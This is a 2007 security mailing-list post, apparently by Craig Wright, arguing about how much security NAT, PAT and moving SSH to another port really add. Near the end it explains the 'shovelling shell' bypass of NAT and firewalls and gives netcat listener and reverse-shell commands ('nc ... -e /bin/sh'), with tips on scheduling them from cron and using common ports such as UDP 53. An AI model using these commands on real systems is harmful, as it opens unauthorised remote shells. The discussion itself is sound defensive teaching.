RE: NAT external/Public IP

["Craig Wright" <Craig.Wright () bdo com au>]

To respond,

Point 4.             "This can also be illustrated with our age-old
example of putting SSH on an alternate port. This won't make the SSH
daemon or user passwords any more secure, but you will see a dramatic
reduction in the number of logged brute force attempts when it is on an
odd port."

People keep stating this. However they can not provide evidence to
support their claim. In fact in the honeypot research, there is no
statistically significant variation in the number of attacks against a
SSH service on TCP22 to the number of attacks against it on an alternate
port.

This form of obscurity may reduce worm attacks, but it does not stop
then.  There is an argument that obscurity can slightly aid a very
poorly configured site. But there is a cost to obscurity. As such the
time to obscure a service takes from that to actually secure it. Thus I
say it actually reduces security as it takes from what could have worked
for a set economic potential.

Next, a well secured site will see little value in this and the effect
may have a negative overall impact.

Point 5.                 "Back to the topic at hand: NAT. Does NAT
increase security? That is clearly not it's purpose, but it can help
reduce risk, the same as good ACLs or firewall rules."

First we have to divide our discussion.  There is Static NAT, Dynamic
NAT or PAT and NAT-T. Let us for this post say SNAT, DNAT and PAT
respectively.

NAT-T (Network Address Translation-) is a further complication and makes
security with NAT more difficult/problematic. NAT-T is defined in RFCs
3947 and 3948. NAT-T is designed to solve the problems inherent in using
IPSec with NAT. It adds an extra layer of complexity and insecurity that
will not be covered in this already long post.

First SNAT. Static NAT maps an IP to an IP. This is a one to one
mapping. Though mapping of an address/port combination may be seen as
the goal, filtering ports is a function of the ACL's on the host, not
the NAT. In this situation it is possible to determine the internal IP
address assigned to the system and also to send packets to it (i.e. scan
it).

SNAT directly maps a system. As a consequence there is little benefit
from the NAT'ing process to security. If for instance we take a
Checkpoint Firewall, there are 2 sets of tables in memory. First there
is the IP mapping for NAT and then there is the ACL mapping for the
filter. If the ACL was to fail open - a scan of the SNAT'd address would
be the same as a scan of any valid address on the Internet through a
router - that is no additional protection. 

So with Static NAT we see that the value is no one of security. The
associated ACL's do this.

DNAT, PAT - aka "porting" is a feature which allows many devices on a
LAN (Local Area Network) to share one IP address by allocating a unique
port address at layer four. With PAT there is a VERY minimal gain in
security. It filters the lower end of the script kiddies. That is it. 

It is possible to scan through PAT. The system will have an assigned
mapping of ports to addresses and host combinations. These addresses are
allocated sequentially - not using any obscuration techniques. This
allows the attacker to monitor traffic and make a map of the Internal
systems over time.

Coupled with the fact that NAT does not strip content at the application
layer, this means that the attacker will still be able to map internal
addresses - it takes more time and is more difficult than having no PAT,
but can be done. In particular, HTTP will still send the client IP in a
packet. An internal Proxy will help, but this is another issue. The
Proxy is a separate security function and not a part of NAT/PAT and
should not be taken to confuse this issue.

Further, it is possible to collect ICMP and other responses to map
systems through PAT without scanning. Responses from the router that
supports PAT may be collected and collated to map the internal network
over time. In many cases, when a router is used for PAT this is actually
the better option form the attacker as router logs are commonly not
protected well and are not centralised in most cases.

Now however, DNAT has a security benefit. There is no current (though
there are theories) existing means to ACTIVELY scan an internal network
through a DNAT connection (there are passive means). Yes you can piggy
back to a system that is being DNAT'd and scan, but you can not initiate
a scan through the DNAT to the protected network. This is good for
client machines and systems that make outgoing connections only. It will
not be any use to a server or connections that connect inbound.

Dynamic NAT requires packets to be switched through the NAT router in
order to generate NAT translations in the translation table. With Cisco
routers, this is done using the "ip nat inside" command. It does mean
that internally addressed packets must originate from the inside. In
using the "ip nat outside" command, the packets have to come from the
external interface. So DNAT offers a simple anti-spoofing benefit. One
that is simple to configure without NAT it must also be stated and that
takes less memory on the router without NAT.

Static NAT does not require packets to be switched through the router,
and translations are statically entered into the translation table. That
is the router adds the SNAT entries to its routing table.

On a Cisco (and many other) routers it is doable to use the same global
address for PAT and Static NAT. There are security issues with this and
it is better to use different global addresses.

Next NAT will not protect the internal address of the router. So if we
have a router with an internal address of 10.1.1.1, it is possible to
send packets to this interface. SO what you say? Well this means that it
is possible (without ACL's) to have the router respond with the internal
address range. So the obscurity is not obtained at all from NAT. 

Benefits and Summary.

In DNAT translations do not exist in the NAT table until the router
receives traffic that requires translation. Dynamic translations have a
timeout period after which they are purged from the translation table.
This means that the attacker has to wait for an outgoing connect or
attack the router.

Static NAT results in translations that reside in the NAT translation
table from the moment you configure any static NAT command(s), and they
remain in the translation table until you delete the static NAT
command(s). So these are routed directly.

So to summarise... NAT will add some layer of security to client
machines and those with outgoing connections. It will do little to
protect servers that require incoming connections using SNAT. These
entries are held in the routing table and it is the ACL and not NAT that
protects the system.

DNAT still allows outgoing connections. ACL's and not NAT filter this.
NAT alone with no egress filters is still vulnerable to an attack. It is
just more difficult.

Now to connect a shell through DNAT. (A shovelling shell).

Often people believe that it is not possible to get an incoming shell
from the Internet because you block incoming traffic (either through
ingress filters or NAT). If you do, you are mistaken. There is an attack
method known as shovelling a shell or just a shovelling shell.

Netcat is a common tool for doing this attack. The attacker would setup
netcat as follows:

Listener: nc -l -p [port no.]

Client: nc [listenerIP] [port] -e /bin/sh

The NAT device or firewall will see this as an outgoing connection from
your system. It is in reality an incoming interactive shell. It is also
a common way of using that buffer overflow condition - take your pick of
the latest one hitting the streets.

Generally the client is activated at regular intervals through cron. The
attacker will activate a netcat server and wait for the connection from
the system being attacked. The system being attacked is generally
configured using a common port that is generally allowed through your
firewall and expected. Ports such as TCP 25 (SMTP), TCP 80 (HTTP) or TCP
443 (HTTPS) are used. If the attacker is really smart, they will tie the
connection to UDP and bind it to something like UDP 53 (DNS) as it is
rarely blocked. (nc -u: UDP Mode).

The result - the attacker has a command shell to your system through
your firewall or NAT router. This even works on firewalls that block ALL
incoming traffic with ACLs.

Packet filters are easily fooled and NAT offers no protection, a good
proxy level firewall is not vulnerable and will secure your system from
this - but there are fewer and fewer of these being used.

Regards,

Dr Craig Wright (GSE-Compliance)




Craig Wright
Manager of Information Systems

Direct : +61 2 9286 5497
Craig.Wright () bdo com au
+61 417 683 914

BDO Kendalls (NSW)
Level 19, 2 Market Street Sydney NSW 2000
GPO BOX 2551 Sydney NSW 2001
Fax +61 2 9993 9497
www.bdo.com.au

Liability limited by a scheme approved under Professional Standards
Legislation in respect of matters arising within those States and
Territories of Australia where such legislation exists.

The information in this email and any attachments is confidential.  If
you are not the named addressee you must not read, print, copy,
distribute, or use in any way this transmission or any information it
contains.  If you have received this message in error, please notify the
sender by return email, destroy all copies and delete it from your
system. 

Any views expressed in this message are those of the individual sender
and not necessarily endorsed by BDO Kendalls.  You may not rely on this
message as advice unless subsequently confirmed by fax or letter signed
by a Partner or Director of BDO Kendalls.  It is your responsibility to
scan this communication and any files attached for computer viruses and
other defects.  BDO Kendalls does not accept liability for any loss or
damage however caused which may result from this communication or any
files attached.  A full version of the BDO Kendalls disclaimer, and our
Privacy statement, can be found on the BDO Kendalls website at
http://www.bdo.com.au or by emailing administrator () bdo com au.

BDO Kendalls is a national association of separate partnerships and
entities.



Craig Wright
Manager of Information Systems

Direct : +61 2 9286 5497
Craig.Wright () bdo com au
+61 417 683 914

BDO Kendalls (NSW)
Level 19, 2 Market Street Sydney NSW 2000
GPO BOX 2551 Sydney NSW 2001
Fax +61 2 9993 9497
www.bdo.com.au

Liability limited by a scheme approved under Professional Standards Legislation in respect of matters arising within 
those States and Territories of Australia where such legislation exists.

The information in this email and any attachments is confidential.  If you are not the named addressee you must not 
read, print, copy, distribute, or use in any way this transmission or any information it contains.  If you have 
received this message in error, please notify the sender by return email, destroy all copies and delete it from your 
system. 

Any views expressed in this message are those of the individual sender and not necessarily endorsed by BDO Kendalls.  
You may not rely on this message as advice unless subsequently confirmed by fax or letter signed by a Partner or 
Director of BDO Kendalls.  It is your responsibility to scan this communication and any files attached for computer 
viruses and other defects.  BDO Kendalls does not accept liability for any loss or damage however caused which may 
result from this communication or any files attached.  A full version of the BDO Kendalls disclaimer, and our Privacy 
statement, can be found on the BDO Kendalls website at http://www.bdo.com.au or by emailing administrator () bdo com au.

BDO Kendalls is a national association of separate partnerships and entities.

________________________________



From: listbounce () securityfocus com on behalf of krymson () gmail com
Sent: Sat 10/11/2007 4:49 AM
To: security-basics () securityfocus com
Subject: Re: NAT external/Public IP



This thread has spawned a lot of smaller topics that are getting mashed
together, bastardized, and confused. And reading sec-basics was supposed
to be a mini-break for me! :)


1) I dislike discussions on the value of obscurity, because the typical
two parties in the discussion are often both correct.

2) Correct: obscurity does not affect the security of a device itself.
An unpatched Windows OS won't become more secure, in and of itself,
because you hid it in a closet with no network. The OS is still
insecure.

3) Correct, the risk to a device is affected in a positive way by
obscuring it. The risk to that Windows system is pretty low because it
doesn't even have a network cable attached to it!

4) This can also be illustrated with our age-old example of putting SSH
on an alternate port. This won't make the SSH daemon or user passwords
any more secure, but you will see a dramatic reduction in the number of
logged brute force attempts when it is on an odd port. This is of value
to many security professionals, and should be labeled a "reduction of
risk." Sadly, many people still just call this an "increase in security"
which gets quickly mistaken.

5) Back to the topic at hand: NAT. Does NAT increase security? That is
clearly not it's purpose, but it can help reduce risk, the same as good
ACLs or firewall rules. To discuss further, we need clear examples of
what we're envisioning our network to be. Are we assuming Internet
traffic goes right to a host, all 65,535 ports? I'd rather have NAT
stopping that (which pretty much forces us to use some firewall/acl
rules), so I don't have to worry about all those ports. Does this
increase the security of the box? Not directly. Does it mitigate risk?
Yes. Does this add value? Yes.

And so on. Basically, I think most of the thread participants are
correct, we're just dealing with mismatched definitions of terms, and
mismatched illustrations where not everything is equal.